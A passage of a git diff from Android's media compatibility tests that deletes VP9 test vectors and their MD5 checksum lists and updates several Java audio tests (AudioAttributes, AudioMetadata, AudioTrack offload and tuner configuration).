-4b9e24121a05b7f95e4c2ed5dc25aac9  18.yuv
-5e7c43edbf51d19cae31e348920e5848  19.yuv
-96e421b17ce7fea2428ea1fe8f7b500a  20.yuv
-0e2b1ef0e3d1cf4a2af7dd7cbb160f04  21.yuv
-bdcc399223320df2fab20bf365e4f3df  22.yuv
-26cf7f3d9c3e36c6d2f8af6e1c9f9b15  23.yuv
-d2ef6d0dfd7eca3d77b60f9c82191bf3  24.yuv
-76c07306ce9a627f37a6a5c8d66820a2  25.yuv
-7ee2428a7fbc3c88418167a8e52d438d  26.yuv
-68b267345e01d2fc72576f984f757a3c  27.yuv
-541bfb03ae1db20d693a0a92550e8df6  28.yuv
-e87cf619aefdb81e26a8ec70d6a12c2c  29.yuv
-621f1ed3976088b247d79504bdf03ca3  30.yuv
-2c6023819babc72f8ad936ec0f0ca85e  31.yuv
-9f5eae1311cfdd2c02ee63a978b8d6d2  32.yuv
-902112ada88fbd3fe006b713cf08f5aa  33.yuv
-ab5b451f7174520c57b096268272759c  34.yuv
-b686cba2b4c454de4e8e16f088db8354  35.yuv
-a68e934aa397819bb80bf4bd29134103  36.yuv
-6982347a3aa730c2f8a15c94bfb42b3d  37.yuv
-57c3f83402184dd80beb9f78f0c5cfc8  38.yuv
-adf66470bfdb88a860a17b74d0f5e99b  39.yuv
-e98d09d8d34d3c8d1cb6619794b1ed5b  40.yuv
-f839dce9aabf7db8b007d83766e05fa7  41.yuv
-3bad23fa7f6052582e319b9774e26030  42.yuv
-4220ba420816a3bc7030e1582942e74d  43.yuv
-f404671eaf5310565d0831684ff0f3ba  44.yuv
-8ba48a53a0178bcd596b880c8a96a61f  45.yuv
-7a8fbb7356e494a6cefe52c2b07e6dce  46.yuv
-fb7974be2a11fcfc71cc450727bf71ad  47.yuv
-5c9be4d4acac0b375be851cd3774a918  48.yuv
-83c84c97c9c5efd6dd56668cdbf18428  49.yuv
-626c9ab1e52f7d9c711e142b46e82a42  50.yuv
-8012dbe193dfa5d787445eaeecd9091b  51.yuv
-bc36350c60b92f77473158a9249d5383  52.yuv
-4e81e00620020b4c55f273796f023145  53.yuv
-f6161f425f0476821f8caa46360d87af  54.yuv
-509f724002e54baac7dd37b514c345da  55.yuv
-4ab2368ffa3854f433fd568883db0e55  56.yuv
-9934a8d1ae0bdd65aab070efa91ac778  57.yuv
-2f2c1b110107c1141053513f2596a599  58.yuv
-9da6ca6ef375a095f0c86cb8cb41db74  59.yuv
-125c735dc1fb523c8088e0815cd4cde1  60.yuv
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_02.vp9 b/tests/tests/media/res/raw/vp90_2_19_skip_02.vp9
deleted file mode 100644
index 770e311..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_02.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_02_vp9_md5 b/tests/tests/media/res/raw/vp90_2_19_skip_02_vp9_md5
deleted file mode 100644
index 80b3d65..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_02_vp9_md5
+++ /dev/null
@@ -1,12 +0,0 @@
-1ee94a4b059cd7380dabf71553aedf32  vp90-2-19-skip-02.webm-208x144-0001.i420
-d86167bfd6bca76c476c79361894a3f0  vp90-2-19-skip-02.webm-208x144-0002.i420
-421c9cd3b3474af8893fa44832b6fca7  vp90-2-19-skip-02.webm-208x144-0003.i420
-db0585dc48220105b8a3326222a66292  vp90-2-19-skip-02.webm-208x144-0004.i420
-15e5a53f39d7e350d356b0c4b2be4c82  vp90-2-19-skip-02.webm-208x144-0005.i420
-4d35f23245c90b5c0f013b4b2a085b2a  vp90-2-19-skip-02.webm-208x144-0006.i420
-1e46a9945accfec93e345f50ebb520a0  vp90-2-19-skip-02.webm-208x144-0007.i420
-ea53419be2de85e9505aaed3a03a10e0  vp90-2-19-skip-02.webm-208x144-0008.i420
-14c17560d0690e929a40b6f2e46a458a  vp90-2-19-skip-02.webm-208x144-0009.i420
-7c5eb58b81b57530391717a076114728  vp90-2-19-skip-02.webm-208x144-0010.i420
-57d4952e50ba519388ce7efca7ee505b  vp90-2-19-skip-02.webm-208x144-0011.i420
-7bb3d99c86e135354ad437e5d80bf089  vp90-2-19-skip-02.webm-208x144-0012.i420
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_vp9_md5 b/tests/tests/media/res/raw/vp90_2_19_skip_vp9_md5
deleted file mode 100644
index 472b59a..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_vp9_md5
+++ /dev/null
@@ -1,60 +0,0 @@
-6e350ec33af4ce08c18e884d7fd795aa  01.yuv
-3f77603d7a5727db4017202310da1724  02.yuv
-983aae5424ab39af07adcf78d43a23ba  03.yuv
-a0cdeaa0eb6eda3750d268434391a7ab  04.yuv
-64325c99444e566989c6eeaa8ffeee32  05.yuv
-8320f52b7fcd0565465941c50a01b801  06.yuv
-d6bb76bf65b70b86bda891fe807fcd26  07.yuv
-c44b46422d2be0b831d27fab61a0d374  08.yuv
-414ce4220e0aef53cb5966990ae00bb6  09.yuv
-2bf82867941dc68b0d60cede97f2d4d7  10.yuv
-593c676743ffaf1a5be85d74529dbb3f  11.yuv
-ccac5f0992545c35d227a021cb91b6f6  12.yuv
-bbb637aaed37f7cc6068802531152b77  13.yuv
-41e2d71a3ff3ed9d225348eb6be72853  14.yuv
-7ed3f76508059c281f75e2043d7d6677  15.yuv
-ed330eefed85685bed2bc1c5dc409d24  16.yuv
-61c4c435237e06623b6994f43b469833  17.yuv
-1e27f96fe683a654b228360f7a1beee1  18.yuv
-090e025ec148ec53f802cdb8ed0bfd77  19.yuv
-20d0caa6d4ab9db05869fd0532a2265f  20.yuv
-e11d108db8822b07a6fe8216b34fa259  21.yuv
-bdb3421bffee6eeafa00255ffcdcf1fe  22.yuv
-cb090c2f2d28679d1e2eb2c04150d751  23.yuv
-7f8eec67552bbac654f9a374d7a985ca  24.yuv
-5c039c621c9c20947f75b98b7e579ce8  25.yuv
-464be7de183b98138d8e9fb61ef613ec  26.yuv
-b887a102c6399d33307ac434d0ab3fd4  27.yuv
-e8fa163067c77e27b9089b4a48b444c0  28.yuv
-d92e13465475df261f9469171ac962cc  29.yuv
-8e6a8ba99387bc4cf7aee0aab6d132f4  30.yuv
-4625d7b6b23ddc840941a4f4d7739daa  31.yuv
-3b8533887142da49fdb24569dd34c2ac  32.yuv
-9ff94cefac26936cbf284e7482b2433d  33.yuv
-68b2fec46494c24501e48927fe9636e5  34.yuv
-7d76bfa0ebb09f27482288a0d61cd0e8  35.yuv
-27b630a10fc1790884e16bbb0fef37ee  36.yuv
-322de7f87166725fdd48373b28156593  37.yuv
-d73c7bd37eccd47df4a5b27cecbb8cea  38.yuv
-c3679a0317d1efc2b76e3dd97baa4070  39.yuv
-e3f9523bd41a280b922cdcf188911de2  40.yuv
-b57f28d944f4f39ab9c97a5ae8e3beda  41.yuv
-520a2b794f4384cf4c38f8d4c5b9c7bb  42.yuv
-bc215f65a73183da31b4bd896db178b4  43.yuv
-ab3c86d15728db474a45c544c2103745  44.yuv
-1287678d28e400a47a4f21b8854339d7  45.yuv
-be3f1eb3f48706e4e37aff83f0434fab  46.yuv
-dbc71f50dd620e058da88c414041ca57  47.yuv
-3d68bf9ae1e6065bf70eee87fbb9a2ce  48.yuv
-c901fac66677a4be1b624d6995af1ea3  49.yuv
-0756c5dd31c691df91a535910d8756e0  50.yuv
-b9c30e56f000a71148ababdf7c7bbae3  51.yuv
-2dc2917b1c0e498dd8e83abcdc48e3ca  52.yuv
-057ce1fe6eb8800ec8ec47720e70ed74  53.yuv
-1c25a6c9e182fa7fbef473ad9be476ea  54.yuv
-3ae770d42403b5069d0fa97e11cec3b0  55.yuv
-e5c19d46df1c711a650229867073246c  56.yuv
-cfc5f6cbb0a319d8bfb3feffddbb8f48  57.yuv
-86e42a5e03bc537505589f7fa39bff2b  58.yuv
-cdf32bda09d594763068d6fa0ff67b98  59.yuv
-0d6be7f95a7e3941950f14e20be11020  60.yuv
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01.vp9 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_01.vp9
deleted file mode 100644
index 6a45085..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01_vp9_md5 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_01_vp9_md5
deleted file mode 100644
index 4fe4dcc..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01_vp9_md5
+++ /dev/null
@@ -1,13 +0,0 @@
-b5d461894f957709576d15f6dce3d69e  vp90-2-20-big_superframe-01.webm-352x288-0001.i420
-b14448e30621b5d2d0a18c2e12ef0d95  vp90-2-20-big_superframe-01.webm-352x288-0002.i420
-4584cf6ffe6ca91fa3926cb88b6dab2d  vp90-2-20-big_superframe-01.webm-352x288-0003.i420
-ff83dd3c0dfdd8740523f560a9d7abfe  vp90-2-20-big_superframe-01.webm-352x288-0004.i420
-a2a1dc9b91b0e4fd6ecc8fa53a156ed9  vp90-2-20-big_superframe-01.webm-352x288-0005.i420
-13f953ae1cfa25c5996d77fc88070452  vp90-2-20-big_superframe-01.webm-352x288-0006.i420
-81dd4bdf32f7998fdc221a4612e022ce  vp90-2-20-big_superframe-01.webm-352x288-0007.i420
-518bbee70ad6488ea3d69e0e34a133a4  vp90-2-20-big_superframe-01.webm-352x288-0008.i420
-acae8f0ab72c6daa3a280fa41fbbb22e  vp90-2-20-big_superframe-01.webm-352x288-0009.i420
-fbfb93207c09242ee49637e740f3f870  vp90-2-20-big_superframe-01.webm-352x288-0010.i420
-20b072932f592e67d92cb67b224620b1  vp90-2-20-big_superframe-01.webm-352x288-0011.i420
-ddab6752606406c5b25d4e3b3208e381  vp90-2-20-big_superframe-01.webm-352x288-0012.i420
-6525d6826964e8b54fa982a300088ce3  vp90-2-20-big_superframe-01.webm-352x288-0013.i420
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02.vp9 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_02.vp9
deleted file mode 100644
index 73137af..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02_vp9_md5 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_02_vp9_md5
deleted file mode 100644
index 8ca8576..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02_vp9_md5
+++ /dev/null
@@ -1,18 +0,0 @@
-b5d461894f957709576d15f6dce3d69e  vp90-2-20-big_superframe-02.webm-352x288-0001.i420
-54e45dfe575d9843c198270f62154c09  vp90-2-20-big_superframe-02.webm-352x288-0002.i420
-87749847c291a46c0ae0ca5d5002cb5f  vp90-2-20-big_superframe-02.webm-352x288-0003.i420
-04d7f341b081b35fd14ddfd777607fb1  vp90-2-20-big_superframe-02.webm-352x288-0004.i420
-81c73e1129b94936d53d33f8c66588e9  vp90-2-20-big_superframe-02.webm-352x288-0005.i420
-678b99102426df6a69184acc142c0c6a  vp90-2-20-big_superframe-02.webm-352x288-0006.i420
-a91f8d509a3e853e71b78b7ebe162428  vp90-2-20-big_superframe-02.webm-352x288-0007.i420
-9981ac3b4b78627c4474222823a9b288  vp90-2-20-big_superframe-02.webm-352x288-0008.i420
-400adf7ab42c47954db9086b5fcb2ef8  vp90-2-20-big_superframe-02.webm-352x288-0009.i420
-fc917ebef7115a04f0bf4e06e1e1a2a9  vp90-2-20-big_superframe-02.webm-352x288-0010.i420
-72271e7946c9dd99a947df787caaadfe  vp90-2-20-big_superframe-02.webm-352x288-0011.i420
-acb81daaaa35d651a87a9f8e87f813b3  vp90-2-20-big_superframe-02.webm-352x288-0012.i420
-e6ffc22ab1a918e3f1af384f0dd22ff9  vp90-2-20-big_superframe-02.webm-352x288-0013.i420
-3ecbc78c737312948d8c172d1c2d2383  vp90-2-20-big_superframe-02.webm-352x288-0014.i420
-320edb7fddfe8c98e616702d11f8f456  vp90-2-20-big_superframe-02.webm-352x288-0015.i420
-cf8363cebf34bdefd2c8e2178de5ef23  vp90-2-20-big_superframe-02.webm-352x288-0016.i420
-d15c8f1bc21ad09ad881a59b5f2b8167  vp90-2-20-big_superframe-02.webm-352x288-0017.i420
-c5c9f8b1826fac50655ed1454ae78279  vp90-2-20-big_superframe-02.webm-352x288-0018.i420
diff --git a/tests/tests/media/res/raw/vp9_test_vectors b/tests/tests/media/res/raw/vp9_test_vectors
deleted file mode 100644
index a9dc4f3..0000000
--- a/tests/tests/media/res/raw/vp9_test_vectors
+++ /dev/null
@@ -1,235 +0,0 @@
-vp90_2_00_quantizer_00
-vp90_2_00_quantizer_01
-vp90_2_00_quantizer_02
-vp90_2_00_quantizer_03
-vp90_2_00_quantizer_04
-vp90_2_00_quantizer_05
-vp90_2_00_quantizer_06
-vp90_2_00_quantizer_07
-vp90_2_00_quantizer_08
-vp90_2_00_quantizer_09
-vp90_2_00_quantizer_10
-vp90_2_00_quantizer_11
-vp90_2_00_quantizer_12
-vp90_2_00_quantizer_13
-vp90_2_00_quantizer_14
-vp90_2_00_quantizer_15
-vp90_2_00_quantizer_16
-vp90_2_00_quantizer_17
-vp90_2_00_quantizer_18
-vp90_2_00_quantizer_19
-vp90_2_00_quantizer_20
-vp90_2_00_quantizer_21
-vp90_2_00_quantizer_22
-vp90_2_00_quantizer_23
-vp90_2_00_quantizer_24
-vp90_2_00_quantizer_25
-vp90_2_00_quantizer_26
-vp90_2_00_quantizer_27
-vp90_2_00_quantizer_28
-vp90_2_00_quantizer_29
-vp90_2_00_quantizer_30
-vp90_2_00_quantizer_31
-vp90_2_00_quantizer_32
-vp90_2_00_quantizer_33
-vp90_2_00_quantizer_34
-vp90_2_00_quantizer_35
-vp90_2_00_quantizer_36
-vp90_2_00_quantizer_37
-vp90_2_00_quantizer_38
-vp90_2_00_quantizer_39
-vp90_2_00_quantizer_40
-vp90_2_00_quantizer_41
-vp90_2_00_quantizer_42
-vp90_2_00_quantizer_43
-vp90_2_00_quantizer_44
-vp90_2_00_quantizer_45
-vp90_2_00_quantizer_46
-vp90_2_00_quantizer_47
-vp90_2_00_quantizer_48
-vp90_2_00_quantizer_49
-vp90_2_00_quantizer_50
-vp90_2_00_quantizer_51
-vp90_2_00_quantizer_52
-vp90_2_00_quantizer_53
-vp90_2_00_quantizer_54
-vp90_2_00_quantizer_55
-vp90_2_00_quantizer_56
-vp90_2_00_quantizer_57
-vp90_2_00_quantizer_58
-vp90_2_00_quantizer_59
-vp90_2_00_quantizer_60
-vp90_2_00_quantizer_61
-vp90_2_00_quantizer_62
-vp90_2_00_quantizer_63
-vp90_2_01_sharpness_1
-vp90_2_01_sharpness_2
-vp90_2_01_sharpness_3
-vp90_2_01_sharpness_4
-vp90_2_01_sharpness_5
-vp90_2_01_sharpness_6
-vp90_2_01_sharpness_7
-vp90_2_02_size_08x08
-vp90_2_02_size_08x10
-vp90_2_02_size_08x16
-vp90_2_02_size_08x18
-vp90_2_02_size_08x32
-vp90_2_02_size_08x34
-vp90_2_02_size_08x64
-vp90_2_02_size_08x66
-vp90_2_02_size_10x08
-vp90_2_02_size_10x10
-vp90_2_02_size_10x16
-vp90_2_02_size_10x18
-vp90_2_02_size_10x32
-vp90_2_02_size_10x34
-vp90_2_02_size_10x64
-vp90_2_02_size_10x66
-vp90_2_02_size_16x08
-vp90_2_02_size_16x10
-vp90_2_02_size_16x16
-vp90_2_02_size_16x18
-vp90_2_02_size_16x32
-vp90_2_02_size_16x34
-vp90_2_02_size_16x64
-vp90_2_02_size_16x66
-vp90_2_02_size_18x08
-vp90_2_02_size_18x10
-vp90_2_02_size_18x16
-vp90_2_02_size_18x18
-vp90_2_02_size_18x32
-vp90_2_02_size_18x34
-vp90_2_02_size_18x64
-vp90_2_02_size_18x66
-vp90_2_02_size_32x08
-vp90_2_02_size_32x10
-vp90_2_02_size_32x16
-vp90_2_02_size_32x18
-vp90_2_02_size_32x32
-vp90_2_02_size_32x34
-vp90_2_02_size_32x64
-vp90_2_02_size_32x66
-vp90_2_02_size_34x08
-vp90_2_02_size_34x10
-vp90_2_02_size_34x16
-vp90_2_02_size_34x18
-vp90_2_02_size_34x32
-vp90_2_02_size_34x34
-vp90_2_02_size_34x64
-vp90_2_02_size_34x66
-vp90_2_02_size_64x08
-vp90_2_02_size_64x10
-vp90_2_02_size_64x16
-vp90_2_02_size_64x18
-vp90_2_02_size_64x32
-vp90_2_02_size_64x34
-vp90_2_02_size_64x64
-vp90_2_02_size_64x66
-vp90_2_02_size_66x08
-vp90_2_02_size_66x10
-vp90_2_02_size_66x16
-vp90_2_02_size_66x18
-vp90_2_02_size_66x32
-vp90_2_02_size_66x34
-vp90_2_02_size_66x64
-vp90_2_02_size_66x66
-vp90_2_02_size_130x132
-vp90_2_02_size_132x130
-vp90_2_02_size_132x132
-vp90_2_02_size_178x180
-vp90_2_02_size_180x178
-vp90_2_02_size_180x180
-vp90_2_03_size_196x196
-vp90_2_03_size_196x198
-vp90_2_03_size_196x200
-vp90_2_03_size_196x202
-vp90_2_03_size_196x208
-vp90_2_03_size_196x210
-vp90_2_03_size_196x224
-vp90_2_03_size_196x226
-vp90_2_03_size_198x196
-vp90_2_03_size_198x198
-vp90_2_03_size_198x200
-vp90_2_03_size_198x202
-vp90_2_03_size_198x208
-vp90_2_03_size_198x210
-vp90_2_03_size_198x224
-vp90_2_03_size_198x226
-vp90_2_03_size_200x196
-vp90_2_03_size_200x198
-vp90_2_03_size_200x200
-vp90_2_03_size_200x202
-vp90_2_03_size_200x208
-vp90_2_03_size_200x210
-vp90_2_03_size_200x224
-vp90_2_03_size_200x226
-vp90_2_03_size_202x196
-vp90_2_03_size_202x198
-vp90_2_03_size_202x200
-vp90_2_03_size_202x202
-vp90_2_03_size_202x208
-vp90_2_03_size_202x210
-vp90_2_03_size_202x224
-vp90_2_03_size_202x226
-vp90_2_03_size_208x196
-vp90_2_03_size_208x198
-vp90_2_03_size_208x200
-vp90_2_03_size_208x202
-vp90_2_03_size_208x208
-vp90_2_03_size_208x210
-vp90_2_03_size_208x224
-vp90_2_03_size_208x226
-vp90_2_03_size_210x196
-vp90_2_03_size_210x198
-vp90_2_03_size_210x200
-vp90_2_03_size_210x202
-vp90_2_03_size_210x208
-vp90_2_03_size_210x210
-vp90_2_03_size_210x224
-vp90_2_03_size_210x226
-vp90_2_03_size_224x196
-vp90_2_03_size_224x198
-vp90_2_03_size_224x200
-vp90_2_03_size_224x202
-vp90_2_03_size_224x208
-vp90_2_03_size_224x210
-vp90_2_03_size_224x224
-vp90_2_03_size_224x226
-vp90_2_03_size_226x196
-vp90_2_03_size_226x198
-vp90_2_03_size_226x200
-vp90_2_03_size_226x202
-vp90_2_03_size_226x208
-vp90_2_03_size_226x210
-vp90_2_03_size_226x224
-vp90_2_03_size_226x226
-vp90_2_02_size_lf_1920x1080
-vp90_2_03_deltaq
-vp90_2_06_bilinear
-vp90_2_07_frame_parallel_1
-vp90_2_07_frame_parallel
-vp90_2_08_tile_1x2_frame_parallel
-vp90_2_08_tile_1x2
-vp90_2_08_tile_1x4_frame_parallel
-vp90_2_08_tile_1x4
-vp90_2_08_tile_1x8_frame_parallel
-vp90_2_08_tile_1x8
-vp90_2_08_tile_4x1
-vp90_2_08_tile_4x4
-vp90_2_09_aq2
-vp90_2_09_lf_deltas
-vp90_2_09_subpixel_00
-vp90_2_10_show_existing_frame2
-vp90_2_10_show_existing_frame
-vp90_2_12_droppable_1
-vp90_2_12_droppable_2
-vp90_2_12_droppable_3
-vp90_2_15_segkey_adpq
-vp90_2_15_segkey
-vp90_2_16_intra_only
-vp90_2_17_show_existing_frame
-vp90_2_19_skip_01
-vp90_2_19_skip_02
-vp90_2_19_skip
-vp90_2_20_big_superframe_01
-vp90_2_20_big_superframe_02
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index e44dc3a..f4e86eb 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -19,6 +19,7 @@
 import static org.testng.Assert.assertThrows;
 import static org.testng.Assert.expectThrows;
 
+import android.audio.policy.configuration.V7_0.AudioUsage;
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.os.Parcel;
@@ -200,6 +201,27 @@
         assertEquals(attr1, attr2);
     }
 
+    // -----------------------------------------------------------------
+    // audio_policy_configuration.xsd converter tests
+    // ----------------------------------
+    public void testXsdStringToUsage_returnsCorrectUsage() {
+        int usage = AudioAttributes.xsdStringToUsage(AudioUsage.AUDIO_USAGE_MEDIA.toString());
+
+        assertEquals(AudioAttributes.USAGE_MEDIA, usage);
+    }
+
+    public void testXsdStringToUsage_withUnsupportedString_returnsUnknownUsage() {
+        int usage = AudioAttributes.xsdStringToUsage("not a usage");
+
+        assertEquals(AudioAttributes.USAGE_UNKNOWN, usage);
+    }
+
+    public void testUsageToXsdString_returnsCorrectString() {
+        String xsdUsage = AudioAttributes.usageToXsdString(AudioAttributes.USAGE_MEDIA);
+
+        assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
+    }
+
     // -------------------------------------------------------------------
     // Reflection helpers for accessing system usage methods and fields
     // -------------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioMetadataTest.java b/tests/tests/media/src/android/media/cts/AudioMetadataTest.java
old mode 100755
new mode 100644
index 9a7cd26..3074bfb
--- a/tests/tests/media/src/android/media/cts/AudioMetadataTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioMetadataTest.java
@@ -19,10 +19,12 @@
 import static org.junit.Assert.*;
 import static org.testng.Assert.assertThrows;
 
+import android.icu.util.ULocale;
 import android.media.AudioFormat;
 import android.media.AudioMetadata;
 import android.media.AudioMetadataMap;
 import android.media.AudioMetadataReadMap;
+import android.media.AudioPresentation;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
 import org.junit.Test;
@@ -121,6 +123,12 @@
     @Test
     public void testFormatKeys() throws Exception {
         final AudioMetadataMap audioMetadata = AudioMetadata.createMap();
+        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_ID, 1);
+        audioMetadata.set(AudioMetadata.Format.KEY_PROGRAM_ID, 2);
+        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_CONTENT_CLASSIFIER,
+                AudioPresentation.CONTENT_MUSIC_AND_EFFECTS);
+        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_LANGUAGE,
+                ULocale.ENGLISH.getISO3Language());
         audioMetadata.set(AudioMetadata.Format.KEY_ATMOS_PRESENT, true);
         audioMetadata.set(AudioMetadata.Format.KEY_AUDIO_ENCODING, AudioFormat.ENCODING_MP3);
         audioMetadata.set(AudioMetadata.Format.KEY_BIT_RATE, 64000);
@@ -138,6 +146,12 @@
         assertEquals(true, (boolean)audioMetadata.get(AudioMetadata.Format.KEY_ATMOS_PRESENT));
         assertEquals(AudioFormat.ENCODING_MP3,
                 (int)audioMetadata.get(AudioMetadata.Format.KEY_AUDIO_ENCODING));
+        assertEquals(1, (int)audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_ID));
+        assertEquals(2, (int)audioMetadata.get(AudioMetadata.Format.KEY_PROGRAM_ID));
+        assertEquals(AudioPresentation.CONTENT_MUSIC_AND_EFFECTS,
+            (int)audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_CONTENT_CLASSIFIER));
+        assertEquals(ULocale.ENGLISH.getISO3Language(),
+            audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_LANGUAGE));
 
         // Additional test to ensure we can survive parceling
         testPackingAndUnpacking((AudioMetadata.BaseMap)audioMetadata);
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index e17bf8f..887b868 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -23,6 +23,7 @@
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
+import android.os.SystemClock;
 import android.util.Log;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
@@ -38,7 +39,11 @@
 
 
     private static final int BUFFER_SIZE_SEC = 3;
-    private static final int PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+    private static final long DATA_REQUEST_TIMEOUT_MS = 6 * 1000; // 6s
+    private static final long DATA_REQUEST_POLL_PERIOD_MS = 1 * 1000; // 1s
+    private static final long PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+    private static final int AUDIOTRACK_DEFAULT_SAMPLE_RATE = 44100;
+    private static final int AUDIOTRACK_DEFAULT_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
 
     private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
 
@@ -124,21 +129,23 @@
             while (written < read) {
                 int wrote = track.write(data, written, read - written,
                         AudioTrack.WRITE_BLOCKING);
-                Log.i(TAG, String.format("wrote %dbytes (%d out of %d)", wrote, written, read));
+                Log.i(TAG, String.format("wrote %d bytes (%d out of %d)", wrote, written, read));
                 if (wrote < 0) {
                     fail("Unable to write all read data, wrote " + written + " bytes");
                 }
                 written += wrote;
             }
+
             try {
-                Thread.sleep(BUFFER_SIZE_SEC * 1000);
-                synchronized(mPresEndLock) {
+                final long elapsed = checkDataRequest(DATA_REQUEST_TIMEOUT_MS);
+                synchronized (mPresEndLock) {
+                    track.setOffloadEndOfStream();
+
                     track.stop();
-                    mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS);
+                    mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS - elapsed);
                 }
-            } catch (InterruptedException e) { fail("Error while sleeping"); }
-            synchronized (mEventCallbackLock) {
-                assertTrue("onDataRequest not called", mCallback.mDataRequestCount > 0);
+            } catch (InterruptedException e) {
+                fail("Error while sleeping");
             }
             synchronized (mPresEndLock) {
                 // we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
@@ -154,14 +161,30 @@
                 track.unregisterStreamEventCallback(mCallback);
                 track.release();
             }
+        };
+    }
+
+    private long checkDataRequest(long timeout) throws Exception {
+        long checkStart = SystemClock.uptimeMillis();
+        boolean calledback = false;
+        while (SystemClock.uptimeMillis() - checkStart < timeout) {
+            synchronized (mEventCallbackLock) {
+                if (mCallback.mDataRequestCount > 0) {
+                    calledback = true;
+                    break;
+                }
+            }
+            Thread.sleep(DATA_REQUEST_POLL_PERIOD_MS);
         }
+        assertTrue("onDataRequest not called", calledback);
+        return (SystemClock.uptimeMillis() - checkStart);
     }
 
     private static AudioFormat getAudioFormatWithEncoding(int encoding) {
        return new AudioFormat.Builder()
             .setEncoding(encoding)
-            .setSampleRate(44100)
-            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+            .setSampleRate(AUDIOTRACK_DEFAULT_SAMPLE_RATE)
+            .setChannelMask(AUDIOTRACK_DEFAULT_CHANNEL_MASK)
             .build();
     }
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 05f486f..372b583 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1602,13 +1602,17 @@
         final int TEST_LOOPS = 1;
         final double TEST_LOOP_DURATION = 1.;
         final int TEST_ADDITIONAL_DRAIN_MS = 0;
+        // Compensates for cold start when run in isolation.
+        // The cold output latency must be 500 ms less or
+        // 200 ms less for low latency devices.
+        final long WAIT_TIME_MS = isLowLatencyDevice() ? WAIT_MSEC : 500;
 
         for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
             double frequency = 400; // frequency changes for each test
             for (int TEST_SR : TEST_SR_ARRAY) {
                 for (int TEST_CONF : TEST_CONF_ARRAY) {
                     playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                            TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_MSEC,
+                            TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_TIME_MS,
                             TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
 
                     frequency += 70; // increment test tone frequency
@@ -2094,6 +2098,11 @@
             .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
     }
 
+    private boolean isLowLatencyDevice() {
+        return getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+    }
+
     private boolean isLowRamDevice() {
         return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
                 .isLowRamDevice();
@@ -2753,7 +2762,7 @@
             IllegalArgumentException.class,
             () -> {
                 final AudioTrack.TunerConfiguration badConfig =
-                    new AudioTrack.TunerConfiguration(0 /* contentId */, 1 /* syncId */);
+                    new AudioTrack.TunerConfiguration(-1 /* contentId */, 1 /* syncId */);
             });
 
         assertThrows(
@@ -2781,22 +2790,34 @@
             });
 
         // this should work.
-        final AudioTrack.TunerConfiguration tunerConfiguration =
-                new AudioTrack.TunerConfiguration(1 /* contentId */, 2 /* syncId */);
+        int[][] contentSyncPairs = {
+            {1, 2},
+            {AudioTrack.TunerConfiguration.CONTENT_ID_NONE, 42},
+        };
+        for (int[] pair : contentSyncPairs) {
+            final int contentId = pair[0];
+            final int syncId = pair[1];
